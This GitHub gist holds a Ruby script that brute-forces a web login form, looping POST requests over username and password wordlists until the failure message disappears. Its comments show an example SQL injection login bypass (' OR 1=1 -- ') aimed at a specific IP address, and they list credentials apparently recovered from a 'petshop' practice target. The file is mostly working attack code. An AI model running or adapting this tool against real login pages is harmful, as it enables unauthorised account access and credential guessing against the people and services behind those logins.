Skip to content

Instantly share code, notes, and snippets.

@Matt-Lepley
Last active January 25, 2019 07:23
Show Gist options
  • Save Matt-Lepley/c856d0ff193a1aad01025cb15ef3753e to your computer and use it in GitHub Desktop.
Save Matt-Lepley/c856d0ff193a1aad01025cb15ef3753e to your computer and use it in GitHub Desktop.
# https://github.com/taf2/curb
# gem install curb
# petshop username - belinda (names.txt)
# petshop password - ariadne (Most-Popular-Letter-Passes.txt)
# Features:
#
# Add comparison for response length as well
# Allow directory inclusion instead of file to check all files inside
# Notes:
#
# Flag ordering matters! Flags must be the first argument
# Whatever order the flags are in is what order the
# arguments must be in.
# Must wrap strings in single or double quotes
# - If you want to preserve the quote or double quote, you must wrap in opposite
# - '" OR 1=1 -- "' => " OR 1=1 -- "
# - "' OR 1=1 -- '" => ' OR 1=1 -- '
# General command example
# ruby lets_brute.rb _upt http://35.227.24.107:5001/4b535128f3/login "' OR 1=1 -- '" password "Unknown user"
FLAG_PREFIX = '_'
OPTIONS = [
'u', # -> username (singular, text)
'U', # -> usernames (file)
'p', # -> password (singular, text)
'P', # -> passwords (file)
't' # -> Response text to compare to ("Invalid Username")
]
require 'curb'
class LetsBrute
attr_accessor :username, :username_dir,
:password, :password_dir,
:response_text
def initialize
@flags = ARGV[0] ? ARGV[0].strip : nil
@url = ARGV[1]
# @username_data = File.readlines(ARGV[2]) if ARGV[2]
end
def brute
return false if !valid_flags
# Loop through flags and set data
@flags.each.with_index(2) do |flag, index|
if flag == 'u'
@username = ARGV[index]
elsif flag == 'U'
@username_dir = ARGV[index]
elsif flag == 'p'
@password = ARGV[index]
elsif flag == 'P'
@password_dir = ARGV[index]
elsif flag == 't'
@response_text = ARGV[index]
end
end
if @response_text.nil?
puts "No response text to check against.\nPlease provide a string enclosed in [].\nExample: [Invalid password]"
return false
end
if [email protected]?
puts @username
# Single username and password request
if [email protected]?
make_request(@username, @password)
# Single username with multiple passwords requests
elsif !@password_dir.nil?
password_data = File.readlines(@password_dir)
password_data.each_with_index do |password, index|
if make_request(@username, password.strip, index)
break
end
end
end
end
if [email protected]?
puts @password
# Single username and password request
if [email protected]?
make_request(@username, @password)
# Single username with multiple passwords requests
elsif !@username_dir.nil?
username_data = File.readlines(@username_dir)
username_data.each_with_index do |username, index|
if make_request(username.strip, @password, index)
break
end
end
end
end
end
def make_request(username='abc', password='123', index=0)
http = Curl.post(@url, {username: username.strip, password: password.strip})
response = http.body_str
# Always show first response to ensure proper connection
if index == 0
puts response
# Poor mans rate limit
elsif index % 50 == 0
puts "Attempts: #{index}"
sleep(1)
end
if !response.include?(@response_text)
puts "FOUND - Username: #{username} | Password: #{password}"
return true
end
return false
end
def testing
# print valid_flags
puts valid_flags
end
def valid_flags
# Make sure flags are present and contains flag prefix
return false if !@flags || @flags[0] != FLAG_PREFIX || @flags.length < 2
@flags = @flags[1..-1]
return false if @flags.match(/\A[a-zA-Z]*\z/).nil?
@flags = @flags.split('')
# input flags that match valid flags
@flags = @flags & OPTIONS
# Checks for duplicates in different character casings. Doesn't allow
# u and U or p and P, etc...
return false if @flags.length != @flags.map(&:upcase).uniq.length
return true
end
end
lb = LetsBrute.new
lb.brute
# lb.testing
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment